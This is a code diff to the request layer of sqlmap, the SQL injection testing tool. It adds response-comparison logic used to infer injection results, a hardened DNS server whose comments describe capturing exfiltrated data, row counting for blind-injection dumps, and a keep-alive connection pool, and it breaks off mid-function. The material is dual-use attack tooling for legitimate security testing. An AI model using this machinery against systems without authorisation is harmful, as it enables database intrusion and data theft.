\\xe7\\xe0\\xf4\\xe8\\xea\\xf1\\xe8\\xf0\\xee\\xe2\\xe0\\xf2\\xfc \\xe8\\xec\\xe5\\xed\\xed\\xee \\xf1\\xf2\\xe0\\xed\\xe4\\xe0\\xf0\\xf2 Windows-1251, \\xe0 \\xed\\xe5 MacCyrillic \\xe8\\xeb\\xe8 ISO-8859-5. \\xd0\\xf3\\xf1\\xf1\\xea\\xe8\\xb9 \\xff\\xe7\\xfb\\xea \\xee\\xe1\\xbb\\xe0\\xe4\\xe0\\xe5\\xf2 \\xf3\\xed\\xe8\\xea\\xe0\\xeb\\xfc\\xed\\xfb\\xec \\xf0\\xe0\\xf1\\xef\\xf0\\xe5\\xe4\\xe5\\xeb\\xe5\\xed\\xe8\\xe5\\xec \\xe3\\xeb\\xe0\\xf1\\xed\\xfb\\xf5 \\xe8 \\xf1\\xee\\xe3\\xeb\\xe0\\xf1\\xed\\xfb\\xf5 \\xe1\\xf3\\xea\\xe2, \\xf2\\xe0\\xea\\xe8\\xf5 \\xea\\xe0\\xea \\xee, \\xe5, \\xe0, \\xe8, \\xed, \\xf2, \\xea\\xee\\xf2\\xee\\xf0\\xfb\\xe5 \\xe2 \\xf0\\xe0\\xe7\\xed\\xfb\\xf5 \\xea\\xee\\xe4\\xee\\xe2\\xfb\\xf5 \\xf1\\xf2\\xf0\\xe0\\xed\\xe8\\xf6\\xe0\\xf5 \\xe7\\xe0\\xed\\xe8\\xec\\xe0\\xf3\\xf2 \\xf1\\xee\\xe2\\xe5\\xf0\\xf8\\xe5\\xed\\xed\\xee \\xf0\\xe0\\xe7\\xed\\xfb\\xe5 \\xef\\xee\\xf7\\xe8\\xf6\\xe8\\xe8 \\xe2 \\xf2\\xe0\\xe1\\xeb\\xe8\\xf6\\xe5 \\xe1\\xe0\\xb9\\xf2\\xee\\xe2. \\xca\\xee\\xe3\\xe4\\xe0 \\xf2\\xe5\\xea\\xf1\\xf2\\xe0 \\xf1\\xf2\\xe0\\xed\\xee\\xe2\\xe8\\xf2\\xf1\\xff \\xe4\\xee\\xf1\\xf2\\xe0\\xf2\\xee\\xf7\\xed\\xee \\xec\\xed\\xee\\xe3\\xee, \\xe2\\xe5\\xf0\\xee\\xff\\xf2\\xed\\xee\\xf1\\xf2\\xfc \\xee\\xf8\\xe8\\xe1\\xea\\xe8 \\xf1\\xed\\xe8\\xe6\\xe0\\xe5\\xf2\\xf1\\xff \\xef\\xf0\\xe0\\xea\\xf2\\xe8\\xf7\\xe5\\xf1\\xea\\xe8 \\xe4\\xee \\xed\\xf3\\xeb\\xff. \\xcc\\xfb \\xe4\\xee\\xe1\\xe0\\xe2\\xeb\\xff\\xe5\\xec \\xe5\\xf9\\xe5 \\xed\\xe5\\xf1\\xea\\xee\\xeb\\xfc\\xea\\xee \\xef\\xf0\\xe5\\xe4\\xeb\\xee\\xe6\\xe5\\xed\\xe8\\xb9, \\xf7\\xf2\\xee\\xf1\\xfb \\xf0\\xe0\\xf1\\xf8\\xe8\\xf0\\xe8\\xf2\\xfc \\xe2\\xfb\\xe1\\xee\\xf0\\xea\\xf3 \\xe4\\xe0\\xed\\xed\\xfb\\xf5 \\xe4\\xeb\\xff \\xea\\xee\\xf0\\xf0\\xe5\\xea\\xf2\\xed\\xee\\xe3\\xee \\xf2\\xe5\\xf1\\xf2\\xe8\\xf0\\xee\\xe2\\xe0\\xed\\xe8\\xff \\xe2\\xe0\\xf8\\xe5\\xb9 \\xe1\\xe8\\xe1\\xeb\\xe8\\xee\\xf2\\xe5\\xea\\xe8 \\xe2 \\xf1\\xf0\\xe5\\xe4\\xe5 Python.</body></html>')
+    'windows-1251'
     """
 
     key = (len(page), hash(page))
-
     retVal = kb.cache.encoding.get(key)
     if retVal is None:
         retVal = detect(page[:HEURISTIC_PAGE_SIZE_THRESHOLD])["encoding"]
@@ -281,6 +282,10 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True):
     '<html>foo&bar</html>'
     >>> getText(decodePage(b"&#x9;", None, "text/html; charset=utf-8"))
     '\\t'
+    >>> getText(decodePage(b"&#x4A;", None, "text/html; charset=utf-8"))
+    'J'
+    >>> decodePage(b"&#x2122;", None, "text/html; charset=utf-8") == u"\u2122"
+    True
     """
 
     if not page or (conf.nullConnection and len(page) < 2):
@@ -297,6 +302,11 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True):
             if contentEncoding == "deflate":
                 obj = zlib.decompressobj(-15)
                 page = obj.decompress(page, MAX_CONNECTION_TOTAL_SIZE + 1)
+
+                # catch the deflate bomb before flush() forcefully expands it into RAM
+                if len(page) > MAX_CONNECTION_TOTAL_SIZE:
+                    raise Exception("size too large")
+
                 page += obj.flush()
                 if len(page) > MAX_CONNECTION_TOTAL_SIZE:
                     raise Exception("size too large")
@@ -340,14 +350,13 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True):
         if not kb.disableHtmlDecoding:
             # e.g. &#x9;&#195;&#235;&#224;&#226;&#224;
             if b"&#" in page:
-                page = re.sub(b"&#x([0-9a-f]{1,2});", lambda _: decodeHex(_.group(1) if len(_.group(1)) == 2 else b"0%s" % _.group(1)), page)
+                page = re.sub(b"(?i)&#x([0-9a-f]{1,2});", lambda _: decodeHex(_.group(1) if len(_.group(1)) == 2 else b"0%s" % _.group(1)), page)
                 page = re.sub(b"&#(\\d{1,3});", lambda _: six.int2byte(int(_.group(1))) if int(_.group(1)) < 256 else _.group(0), page)
 
             # e.g. %20%28%29
             if percentDecode:
                 if b"%" in page:
-                    page = re.sub(b"%([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), page)
-                    page = re.sub(b"%([0-9A-F]{2})", lambda _: decodeHex(_.group(1)), page)     # Note: %DeepSee_SQL in CACHE
+                    page = re.sub(b"(?i)%([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), page)
 
             # e.g. &amp;
             page = re.sub(b"&([^;]+);", lambda _: six.int2byte(HTML_ENTITIES[getText(_.group(1))]) if HTML_ENTITIES.get(getText(_.group(1)), 256) < 256 else _.group(0), page)
@@ -372,6 +381,16 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True):
                     return retVal
                 page = re.sub(r"&#(\d+);", _, page)
 
+                # e.g. &#x2019;&#x2026;&#x2122; (hex numeric refs >= U+0100; smaller ones already handled at byte-level)
+                def _(match):
+                    retVal = match.group(0)
+                    try:
+                        retVal = _unichr(int(match.group(1), 16))
+                    except (ValueError, OverflowError):
+                        pass
+                    return retVal
+                page = re.sub(r"(?i)&#x([0-9a-f]+);", _, page)
+
             # e.g. &zeta;
             page = re.sub(r"&([^;]+);", lambda _: _unichr(HTML_ENTITIES[_.group(1)]) if HTML_ENTITIES.get(_.group(1), 0) > 255 else _.group(0), page)
         else:

lib/request/comparison.py

@@ -10,7 +10,9 @@ from __future__ import division
 import re
 
 from lib.core.common import extractRegexResult
+from lib.core.common import extractStructuralTokens
 from lib.core.common import getFilteredPageContent
+from lib.core.common import jsonMinimize
 from lib.core.common import listToStrValue
 from lib.core.common import removeDynamicContent
 from lib.core.common import getLastRequestHTTPError
@@ -20,6 +22,7 @@ from lib.core.convert import getBytes
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.enums import HTTP_HEADER
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.settings import DEFAULT_PAGE_ENCODING
 from lib.core.settings import DIFF_TOLERANCE
@@ -34,6 +37,20 @@ from lib.core.settings import URI_HTTP_HEADER
 from lib.core.threads import getCurrentThreadData
 from thirdparty import six
 
+def _isJsonResponse(headers):
+    """
+    Returns True if the response Content-Type indicates a JSON document (e.g. 'application/json'
+    or a structured suffix like 'application/vnd.api+json')
+    """
+
+    retVal = False
+
+    if headers:
+        contentType = (headers.get(HTTP_HEADER.CONTENT_TYPE) or "").split(';')[0].strip().lower()
+        retVal = contentType == "application/json" or contentType.endswith("+json")
+
+    return retVal
+
 def comparison(page, headers, code=None, getRatioValue=False, pageLength=None):
     if not isinstance(page, (six.text_type, six.binary_type, type(None))):
         logger.critical("got page of type %s; repr(page)[:200]=%s" % (type(page), repr(page)[:200]))
@@ -97,6 +114,10 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
     seqMatcher = threadData.seqMatcher
     seqMatcher.set_seq1(kb.pageTemplate)
 
+    # raw (pre-dynamic-removal) body, kept for the structured (JSON) comparison path below;
+    # parsing the raw form avoids removeDynamicContent splicing JSON mid-token
+    rawPage = page
+
     if page:
         # In case of an DBMS error page return None
         if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()) and not kb.negativeLogic:
@@ -148,12 +169,31 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
         else:
             seq1, seq2 = None, None
 
-            if conf.titles:
-                seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a)
-                seq2 = extractRegexResult(HTML_TITLE_REGEX, page)
-            else:
-                seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a
-                seq2 = getFilteredPageContent(page, True) if conf.textOnly else page
+            # Structure-aware comparison for JSON responses: compare an order-independent
+            # projection of the parsed bodies instead of raw text, so key reordering/whitespace
+            # noise does not perturb the ratio while a changed value/array-length does. Engages
+            # only on a JSON Content-Type with both bodies parseable; any doubt (or an explicit
+            # --text-only/--titles) falls back to the exact text path below.
+            if _isJsonResponse(headers) and not (conf.titles or conf.textOnly or kb.nullConnection):
+                seq1 = jsonMinimize(kb.pageTemplate)
+                seq2 = jsonMinimize(rawPage)
+
+            # Structure-aware comparison for a structurally-stable (but byte-unstable) HTML page:
+            # compare the value-free tag/class/id skeleton so dynamic text does not perturb the ratio
+            # while a structural change (e.g. a results table appearing/disappearing) still does
+            if seq1 is None and kb.pageStructurallyStable and not (conf.titles or conf.textOnly or kb.nullConnection):
+                _ = "\n".join(sorted(extractStructuralTokens(kb.pageTemplate)))
+                if _:   # only engage when the page actually exposes structure (HTML tags); tagless content falls back to text
+                    seq1 = _
+                    seq2 = "\n".join(sorted(extractStructuralTokens(rawPage)))
+
+            if seq1 is None or seq2 is None:
+                if conf.titles:
+                    seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a)
+                    seq2 = extractRegexResult(HTML_TITLE_REGEX, page)
+                else:
+                    seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a
+                    seq2 = getFilteredPageContent(page, True) if conf.textOnly else page
 
             if seq1 is None or seq2 is None:
                 return None
@@ -183,9 +223,9 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
                 seqMatcher.set_seq1(repr(seq1))
                 seqMatcher.set_seq2(repr(seq2))
 
-            if key in kb.cache.comparison:
-                ratio = kb.cache.comparison[key]
-            else:
+            ratio = kb.cache.comparison.get(key) if key else None
+
+            if ratio is None:
                 try:
                     try:
                         ratio = seqMatcher.quick_ratio() if not kb.heavilyDynamic else seqMatcher.ratio()

lib/request/connect.py

@@ -7,6 +7,7 @@ See the file 'LICENSE' for copying permission
 
 import binascii
 import inspect
+import io
 import logging
 import os
 import random
@@ -228,6 +229,7 @@ class Connect(object):
     @staticmethod
     def _connReadProxy(conn):
         parts = []
+        kb.respTruncated = False
 
         if not kb.dnsMode and conn:
             headers = conn.info()
@@ -254,6 +256,7 @@ class Connect(object):
                         singleTimeWarnMessage(warnMsg)
                         part = re.sub(getBytes(r"(?si)%s.+?%s" % (kb.chars.stop, kb.chars.start)), getBytes("%s%s%s" % (kb.chars.stop, LARGE_READ_TRIM_MARKER, kb.chars.start)), part)
                         parts.append(part)
+                        kb.respTruncated = True  # response exceeded the read cap and was trimmed (signal for chunked UNION dumping)
                     else:
                         parts.append(part)
                         break
@@ -261,6 +264,7 @@ class Connect(object):
                     if sum(len(_) for _ in parts) > MAX_CONNECTION_TOTAL_SIZE:
                         warnMsg = "too large response detected. Automatically trimming it"
                         singleTimeWarnMessage(warnMsg)
+                        kb.respTruncated = True
                         break
 
         if conf.yuge:
@@ -287,6 +291,7 @@ class Connect(object):
         cookie = kwargs.get("cookie", None)
         ua = kwargs.get("ua", None) or conf.agent
         referer = kwargs.get("referer", None) or conf.referer
+        host = kwargs.get("host", None)
         direct_ = kwargs.get("direct", False)
         multipart = kwargs.get("multipart", None)
         silent = kwargs.get("silent", False)
@@ -421,7 +426,7 @@ class Connect(object):
             elif target:
                 if conf.forceSSL:
                     url = re.sub(r"(?i)\A(http|ws):", r"\g<1>s:", url)
-                    url = re.sub(r"(?i):80/", ":443/", url)
+                    url = re.sub(r"(?i):80(?=[/?#]|\Z)", ":443", url)
 
                 if PLACE.GET in conf.parameters and not get:
                     get = conf.parameters[PLACE.GET]
@@ -447,7 +452,7 @@ class Connect(object):
             requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str
 
             # Prepare HTTP headers
-            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: getHeader(dict(conf.httpHeaders), HTTP_HEADER.HOST) or getHostHeader(url)}, base=None if target else {})
+            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host or getHeader(dict(conf.httpHeaders), HTTP_HEADER.HOST) or getHostHeader(url)}, base=None if target else {})
 
             if HTTP_HEADER.COOKIE in headers:
                 cookie = headers[HTTP_HEADER.COOKIE]
@@ -505,7 +510,7 @@ class Connect(object):
 
             for key, value in list(headers.items()):
                 if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper():
-                    value = re.sub(r"(?i)(,)br(,)?", lambda match: ',' if match.group(1) and match.group(2) else "", value) or "identity"
+                    value = ','.join(_ for _ in re.split(r"\s*,\s*", value) if _.split(';', 1)[0].lower() != "br") or "identity"
 
                 del headers[key]
                 if isinstance(value, six.string_types):
@@ -519,7 +524,8 @@ class Connect(object):
             if webSocket:
                 ws = websocket.WebSocket()
                 ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
-                ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
+                wsHeaders = tuple("%s: %s" % (getUnicode(key), getUnicode(value)) for key, value in headers.items() if getUnicode(key).upper() != HTTP_HEADER.HOST.upper())
+                ws.connect(url, header=wsHeaders, cookie=cookie)  # WebSocket will add Host field of headers automatically
                 ws.send(urldecode(post or ""))
 
                 _page = []
@@ -528,6 +534,10 @@ class Connect(object):
                     while True:
                         try:
                             _page.append(ws.recv())
+                            if sum(len(_) for _ in _page) > MAX_CONNECTION_TOTAL_SIZE:
+                                warnMsg = "too large websocket response detected. Automatically trimming it"
+                                singleTimeWarnMessage(warnMsg)
+                                break
                         except websocket.WebSocketTimeoutException:
                             kb.webSocketRecvCount = len(_page)
                             break
@@ -539,7 +549,7 @@ class Connect(object):
 
                 ws.close()
                 code = ws.status
-                status = _http_client.responses[code]
+                status = _http_client.responses.get(code, "")
 
                 class _(dict):
                     pass
@@ -547,7 +557,7 @@ class Connect(object):
                 responseHeaders = _(ws.getheaders())
                 responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]
 
-                requestHeaders += "\r\n".join(["%s: %s" % (u"-".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, "capitalize") else getUnicode(key), getUnicode(value)) for (key, value) in responseHeaders.items()])
+                requestHeaders += "\r\n".join(wsHeaders)
                 requestMsg += "\r\n%s" % requestHeaders
 
                 if post is not None:
@@ -561,6 +571,10 @@ class Connect(object):
             else:
                 post = getBytes(post)
 
+                # Reference: https://github.com/sqlmapproject/sqlmap/issues/6049
+                if cmdLineOptions.method is None and method == HTTPMETHOD.GET and post == b"":
+                    post = None
+
                 if unArrayizeValue(conf.base64Parameter) == HTTPMETHOD.POST:
                     if kb.place != HTTPMETHOD.POST:
                         conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
@@ -633,6 +647,9 @@ class Connect(object):
                     except (httpx.HTTPError, httpx.InvalidURL, httpx.CookieConflict, httpx.StreamError) as ex:
                         raise _http_client.HTTPException(getSafeExString(ex))
                     else:
+                        if conn.status_code >= 400:
+                            raise _urllib.error.HTTPError(url, conn.status_code, conn.reason_phrase, conn.headers, io.BytesIO(conn.read()))
+
                         conn.code = conn.status_code
                         conn.msg = conn.reason_phrase
                         conn.info = lambda c=conn: c.headers
@@ -640,7 +657,7 @@ class Connect(object):
                         conn._read_buffer = conn.read()
                         conn._read_offset = 0
 
-                        requestMsg = re.sub(" HTTP/[0-9.]+\r\n", " %s\r\n" % conn.http_version, requestMsg, count=1)
+                        requestMsg = re.sub(r" HTTP/[0-9.]+\r\n", " %s\r\n" % conn.http_version, requestMsg, count=1)
 
                         if not multipart:
                             threadData.lastRequestMsg = requestMsg
@@ -989,7 +1006,7 @@ class Connect(object):
 
         # Dirty patch for Python3.11.0a7 (e.g. https://github.com/sqlmapproject/sqlmap/issues/5091)
         if not sys.version.startswith("3.11."):
-            if conf.retryOn and re.search(conf.retryOn, page, re.I):
+            if conf.retryOn and re.search(conf.retryOn, page or "", re.I):
                 if threadData.retriesCount < conf.retries:
                     warnMsg = "forced retry of the request because of undesired page content"
                     logger.warning(warnMsg)
@@ -1001,7 +1018,7 @@ class Connect(object):
             if conn and getattr(conn, "redurl", None):
                 _ = _urllib.parse.urlsplit(conn.redurl)
                 _ = ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else ""))
-                requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", r"\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1)
+                requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", r"\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, count=1)
 
                 if kb.resendPostOnRedirect is False:
                     requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", r"\g<1>GET ", requestMsg)
@@ -1149,7 +1166,7 @@ class Connect(object):
                         postUrlEncode = False
 
             if conf.hpp:
-                if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_PLATFORM.ASP, WEB_PLATFORM.ASPX)):
+                if (extractRegexResult(r"\.(?P<result>\w+)(?:\?|\Z)", conf.url) or "").lower() not in (WEB_PLATFORM.ASP, WEB_PLATFORM.ASPX):
                     warnMsg = "HTTP parameter pollution should work only against "
                     warnMsg += "ASP(.NET) targets"
                     singleTimeWarnMessage(warnMsg)
@@ -1365,7 +1382,8 @@ class Connect(object):
                         variables[name] = value
 
             if post and kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
-                for name, value in (parseJson(post) or {}).items():
+                json_ = parseJson(post)
+                for name, value in (json_ if isinstance(json_, dict) else {}).items():
                     if safeVariableNaming(name) != name:
                         conf.evalCode = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), conf.evalCode)
                         name = safeVariableNaming(name)
@@ -1611,10 +1629,7 @@ class Connect(object):
                         if payload is None:
                             value = value.replace(kb.customInjectionMark, "")
                         else:
-                            try:
-                                value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value)
-                            except re.error:
-                                value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), re.escape(payload), value)
+                            value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), lambda _: payload, value)  # Note: function replacement inserts payload literally - avoids re.sub interpreting backslashes / group refs (e.g. \1, \g<...>) in the payload
                     return value
                 page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
 

lib/request/dns.py

@@ -8,6 +8,8 @@ See the file 'LICENSE' for copying permission
 from __future__ import print_function
 
 import binascii
+import collections
+import errno
 import os
 import re
 import socket
@@ -15,6 +17,11 @@ import struct
 import threading
 import time
 
+try:
+    from lib.core.settings import MAX_DNS_REQUESTS
+except ImportError:
+    MAX_DNS_REQUESTS = 1000     # fallback so this module stays runnable standalone
+
 class DNSQuery(object):
     """
     >>> DNSQuery(b'|K\\x01 \\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x03www\\x06google\\x03com\\x00\\x00\\x01\\x00\\x01\\x00\\x00)\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\n\\x00\\x08O4|Np!\\x1d\\xb3')._query == b"www.google.com."
@@ -28,18 +35,36 @@ class DNSQuery(object):
         self._query = b""
 
         try:
+            if len(raw) < 13:
+                return
+
             type_ = (ord(raw[2:3]) >> 3) & 15                   # Opcode bits
 
             if type_ == 0:                                      # Standard query
                 i = 12
-                j = ord(raw[i:i + 1])
+                labels = []
+
+                while True:
+                    if i >= len(raw):
+                        return
 
-                while j != 0:
-                    self._query += raw[i + 1:i + j + 1] + b'.'
-                    i = i + j + 1
                     j = ord(raw[i:i + 1])
-        except TypeError:
-            pass
+
+                    if j == 0:
+                        break
+
+                    i += 1
+
+                    if i + j > len(raw):
+                        return
+
+                    labels.append(raw[i:i + j])
+                    i += j
+
+                if labels:
+                    self._query = b".".join(labels) + b'.'
+        except (TypeError, ValueError, IndexError):
+            self._query = b""
 
     def response(self, resolution):
         """
@@ -49,10 +74,15 @@ class DNSQuery(object):
         retVal = b""
 
         if self._query:
+            end = self._raw[12:].find(b"\x00")
+
+            if end < 0 or len(self._raw) < 12 + end + 5:
+                return retVal
+
             retVal += self._raw[:2]                                                         # Transaction ID
             retVal += b"\x85\x80"                                                           # Flags (Standard query response, No error)
             retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00"                 # Questions and Answers Counts
-            retVal += self._raw[12:(12 + self._raw[12:].find(b"\x00") + 5)]                 # Original Domain Name Query
+            retVal += self._raw[12:(12 + end + 5)]                                          # Original Domain Name Query
             retVal += b"\xc0\x0c"                                                           # Pointer to domain name
             retVal += b"\x00\x01"                                                           # Type A
             retVal += b"\x00\x01"                                                           # Class IN
@@ -74,7 +104,7 @@ class DNSServer(object):
 
     def __init__(self):
         self._check_localhost()
-        self._requests = []
+        self._requests = collections.deque(maxlen=MAX_DNS_REQUESTS)
         self._lock = threading.Lock()
 
         try:
@@ -135,17 +165,55 @@ class DNSServer(object):
         """
 
         def _():
+            def _is_udp_connreset(ex):
+                return getattr(ex, "winerror", None) == 10054 or getattr(ex, "errno", None) in (errno.ECONNRESET, 10054)
+
             try:
                 self._running = True
                 self._initialized = True
 
-                while True:
-                    data, addr = self._socket.recvfrom(1024)
-                    _ = DNSQuery(data)
-                    self._socket.sendto(_.response("127.0.0.1"), addr)
+                try:
+                    if hasattr(socket, "SIO_UDP_CONNRESET") and hasattr(self._socket, "ioctl"):
+                        # Windows reports ICMP "port unreachable" for UDP as WSAECONNRESET on
+                        # recvfrom(). DNS clients in tests and in the wild can disappear before
+                        # reading our fake response; that must not kill the server thread.
+                        self._socket.ioctl(socket.SIO_UDP_CONNRESET, False)
+                except Exception:
+                    pass
 
-                    with self._lock:
-                        self._requests.append(_._query)
+                while True:
+                    try:
+                        data, addr = self._socket.recvfrom(1024)
+                    except KeyboardInterrupt:
+                        raise
+                    except socket.error as ex:
+                        if _is_udp_connreset(ex):
+                            continue
+                        break       # socket closed/broken - stop serving (e.g. program exit)
+                    except Exception:
+                        break       # socket closed/broken - stop serving (e.g. program exit)
+
+                    # Note: a single malformed packet or a transient send error must NOT kill the
+                    # server thread (otherwise all subsequent DNS exfiltration is silently lost).
+                    # The query is recorded BEFORE responding, so the exfiltrated data is captured
+                    # even if crafting/sending the (fake) resolution response fails.
+                    try:
+                        _ = DNSQuery(data)
+
+                        if not _._query:
+                            continue
+
+                        with self._lock:
+                            self._requests.append(_._query)
+
+                        response = _.response("127.0.0.1")
+
+                        if response:
+                            self._socket.sendto(response, addr)
+                    except KeyboardInterrupt:
+                        raise
+                    except Exception:
+                        pass
 
             except KeyboardInterrupt:
                 raise

lib/request/httpshandler.py

@@ -84,7 +84,18 @@ class HTTPSConnection(_http_client.HTTPSConnection):
                             _contexts[protocol].set_ciphers("ALL@SECLEVEL=0")
                         except (ssl.SSLError, AttributeError):
                             pass
-                    result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host if re.search(r"\A[\d.]+\Z", self.host or "") is None else None)
+
+                    hostname = self.host
+                    if conf.host:
+                        hostname = conf.host
+                    else:
+                        for header, value in conf.httpHeaders:
+                            if header.lower() == "host":
+                                hostname = value
+                                break
+                    hostname = hostname if re.search(r"\A[\d.]+\Z", hostname or "") is None else None
+                    result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=hostname)
+
                     if result:
                         success = True
                         self.sock = result

lib/request/inject.py

@@ -162,8 +162,8 @@ def _goInferenceFields(expression, expressionFields, expressionFieldsList, paylo
 
 def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False):
     """
-    Retrieve the output of a SQL query characted by character taking
-    advantage of an blind SQL injection vulnerability on the affected
+    Retrieve the output of a SQL query character by character taking
+    advantage of a blind SQL injection vulnerability on the affected
     parameter through a bisection algorithm.
     """
 
@@ -209,9 +209,11 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
                     test = False
 
             if test:
-                # Count the number of SQL query entries output
-                countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0]
-                countedExpression = expression.replace(expressionFields, countFirstField, 1)
+                # Count the number of SQL query entries output. NOTE: COUNT(*) (row count), not
+                # COUNT(<first field>) - the latter excludes NULLs and would drop NULL-valued rows from
+                # the dump (e.g. dumping a single column whose value is NULL on some rows).
+                countField = queries[Backend.getIdentifiedDbms()].count.query % '*'
+                countedExpression = expression.replace(expressionFields, countField, 1)
 
                 if " ORDER BY " in countedExpression.upper():
                     _ = countedExpression.upper().rindex(" ORDER BY ")

lib/request/keepalive.py

@@ -0,0 +1,306 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+import socket
+import threading
+import time
+
+from lib.core.settings import KEEPALIVE_IDLE_TIMEOUT
+from lib.core.settings import KEEPALIVE_MAX_REQUESTS
+from thirdparty.six.moves import http_client as _http_client
+from thirdparty.six.moves import urllib as _urllib
+
+# Note: prior to Python 2.4 it was the HTTP handler's job to decide what to handle
+# specially; since 2.4 that belongs to HTTPErrorProcessor, hence everything is passed up
+HANDLE_ERRORS = 0
+
+class _ConnectionPool(threading.local):
+    """
+    Per-thread pool of reusable persistent connections.
+
+    Keeping one connection per (scheme, host) and per worker thread is what
+    keeps Keep-Alive safe under '--threads': a socket is never shared between
+    threads, so concurrent requests can never interleave on the same wire (the
+    classic cause of response desynchronization). Synchronous reuse within a
+    single thread is fine because the previous response is always fully drained
+    before the next request is issued (see L{_KeepAliveResponseMixin}).
+    """
+
+    def __init__(self):
+        self.conns = {}  # key -> [connection, request_count, last_used]
+
+class _KeepAliveHandler(object):
+    def __init__(self):
+        self._pool = _ConnectionPool()
+
+    def _take(self, key):
+        """
+        Returns a (still usable) pooled connection for L{key} or None
+        """
+
+        entry = self._pool.conns.pop(key, None)
+
+        if entry is not None:
+            conn, count, last = entry
+            if (time.time() - last) <= KEEPALIVE_IDLE_TIMEOUT and count < KEEPALIVE_MAX_REQUESTS:
+                return conn, count
+
+            # Too old or too heavily used; drop it
+            try:
+                conn.close()
+            except Exception:
+                pass
+
+        return None, 0
+
+    def _give_back(self, key, conn, count):
+        self._pool.conns[key] = [conn, count, time.time()]
+
+    def do_open(self, req):
+        # Note: 'selector'/'host' attributes on Python 3 (Request.get_host() was deprecated since
+        # 3.3 and removed in 3.12); the get_*() fallbacks are only reachable under Python 2
+        host = req.host if hasattr(req, "host") else req.get_host()
+
+        if not host:
+            raise _urllib.error.URLError("no host given")
+
+        key = "%s://%s" % (self._scheme, host)
+
+        conn, count = self._take(key)
+        reused = conn is not None
+
+        try:
+            if reused:
+                # A pooled socket may have been closed by the server in the
+                # meantime; treat any failure (or a bogus HTTP/0.9 reply, which
+                # is httplib's tell-tale for a dead socket) as a stale connection
+                try:
+                    self._send_request(conn, req)
+                    response = conn.getresponse()
+                    if response is None or getattr(response, "version", 0) == 9:
+                        raise _http_client.HTTPException("stale connection")
+                except (socket.error, _http_client.HTTPException):
+                    try:
+                        conn.close()
+                    except Exception:
+                        pass
+                    conn = None
+                    reused = False
+
+            if conn is None:
+                conn = self._get_connection(host)
+                count = 0
+                self._send_request(conn, req)
+                response = conn.getresponse()
+        except (socket.error, _http_client.HTTPException) as ex:
+            raise _urllib.error.URLError(ex)
+
+        count += 1
+
+        # Honor an explicit 'Connection: close' even when L{will_close} wasn't set
+        willClose = response.will_close
+        if not willClose:
+            try:
+                headers = getattr(response, "msg", None) or getattr(response, "headers", None)
+                value = headers.get("connection") or headers.get("Connection") if headers else None
+                if value and "close" in value.lower():
+                    willClose = True
+            except Exception:
+                pass
+
+        keep = not willClose and count < KEEPALIVE_MAX_REQUESTS
+
+        self._adapt(response, req.get_full_url())
+        self._instrument(response, key, conn, count, keep)
+
+        if response.status == 200 or not HANDLE_ERRORS:
+            return response
+        else:
+            return self.parent.error("http", req, response, response.status, response.reason, response.headers)
+
+    def _adapt(self, response, url):
+        """
+        Makes a raw httplib response indistinguishable from the object normally
+        returned by C{urlopen} (the surface the rest of sqlmap relies on)
+        """
+
+        headers = getattr(response, "headers", None)
+        if headers is None:
